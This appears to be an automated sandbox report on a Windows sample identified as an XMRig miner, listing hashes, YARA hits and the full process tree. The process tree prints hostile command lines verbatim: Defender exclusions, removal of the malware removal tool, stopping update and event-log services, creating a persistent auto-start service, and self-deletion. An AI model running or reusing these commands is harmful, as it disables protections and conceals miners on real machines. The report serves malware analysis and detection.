Analysis
-
max time kernel
150s -
max time network
142s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
21-11-2024 00:18
Static task
static1
Behavioral task
behavioral1
Sample
75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe
Resource
win7-20240903-en
General
-
Target
75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe
-
Size
5.6MB
-
MD5
86d090456f4945b34fe5987d0b52fee8
-
SHA1
2da6451344a238f80f086885e2a5d7bc8f1b2f67
-
SHA256
75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15
-
SHA512
375a47486b1de4d84d31f68f769ffe192b8f16be0af7b31fe6248f80322fe571c236c8d29be9338ff6abb65e51d62806104cc85bfd7a2b29701f228068fb8ee4
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2436-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2436-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 264 powershell.exe 2420 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 856 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 472 Process not Found 1032 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 472 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3028 powercfg.exe 2772 powercfg.exe 2644 powercfg.exe 2652 powercfg.exe 1676 powercfg.exe 3008 powercfg.exe 2992 powercfg.exe 2856 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1032 set thread context of 1968 1032 fqwofdtexigy.exe 85 PID 1032 set thread context of 2436 1032 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2436-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2436-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2732 sc.exe 1264 sc.exe 1404 sc.exe 2824 sc.exe 2912 sc.exe 2976 sc.exe 664 sc.exe 2756 sc.exe 800 sc.exe 2836 sc.exe 2600 sc.exe 1688 sc.exe 1628 sc.exe 1924 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 902bffe5aa3bdb01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 264 powershell.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 2384 75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe 1032 fqwofdtexigy.exe 2420 powershell.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 1032 fqwofdtexigy.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe 2436 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 264 powershell.exe Token: SeShutdownPrivilege 2652 powercfg.exe Token: SeShutdownPrivilege 1676 powercfg.exe Token: SeShutdownPrivilege 2644 powercfg.exe Token: SeShutdownPrivilege 2772 powercfg.exe Token: SeDebugPrivilege 2420 powershell.exe Token: SeShutdownPrivilege 3008 powercfg.exe Token: SeShutdownPrivilege 2992 powercfg.exe Token: SeShutdownPrivilege 3028 powercfg.exe Token: SeShutdownPrivilege 2856 powercfg.exe Token: SeLockMemoryPrivilege 2436 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2804 wrote to memory of 2556 2804 cmd.exe 38 PID 2804 wrote to memory of 2556 2804 cmd.exe 38 PID 2804 wrote to memory of 2556 2804 cmd.exe 38 PID 856 wrote to memory of 2904 856 cmd.exe 64 PID 856 wrote to memory of 2904 856 cmd.exe 64 PID 856 wrote to memory of 2904 856 cmd.exe 64 PID 1944 wrote to memory of 2844 1944 cmd.exe 72 PID 1944 wrote to memory of 2844 1944 cmd.exe 72 PID 1944 wrote to memory of 2844 1944 cmd.exe 72 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 1968 1032 fqwofdtexigy.exe 85 PID 1032 wrote to memory of 2436 1032 fqwofdtexigy.exe 90 PID 1032 wrote to memory of 2436 1032 fqwofdtexigy.exe 90 PID 1032 wrote to memory of 2436 1032 fqwofdtexigy.exe 90 PID 1032 wrote to memory of 2436 1032 fqwofdtexigy.exe 90 PID 1032 wrote to memory of 2436 1032 fqwofdtexigy.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe"C:\Users\Admin\AppData\Local\Temp\75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2384 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2804 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2556
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2824
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2756
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2732
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2912
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2976
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2772
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2644
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2652
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1676
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2600
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:1688
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:664
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\75d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2904
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2844
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:1628
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1924
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:800
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1404
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2836
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3008
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2992
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2856
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1968
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD586d090456f4945b34fe5987d0b52fee8
SHA12da6451344a238f80f086885e2a5d7bc8f1b2f67
SHA25675d8b1cbe28f5c48b94a90b59f1834eb9c5e206130db8d86ff49769d55894c15
SHA512375a47486b1de4d84d31f68f769ffe192b8f16be0af7b31fe6248f80322fe571c236c8d29be9338ff6abb65e51d62806104cc85bfd7a2b29701f228068fb8ee4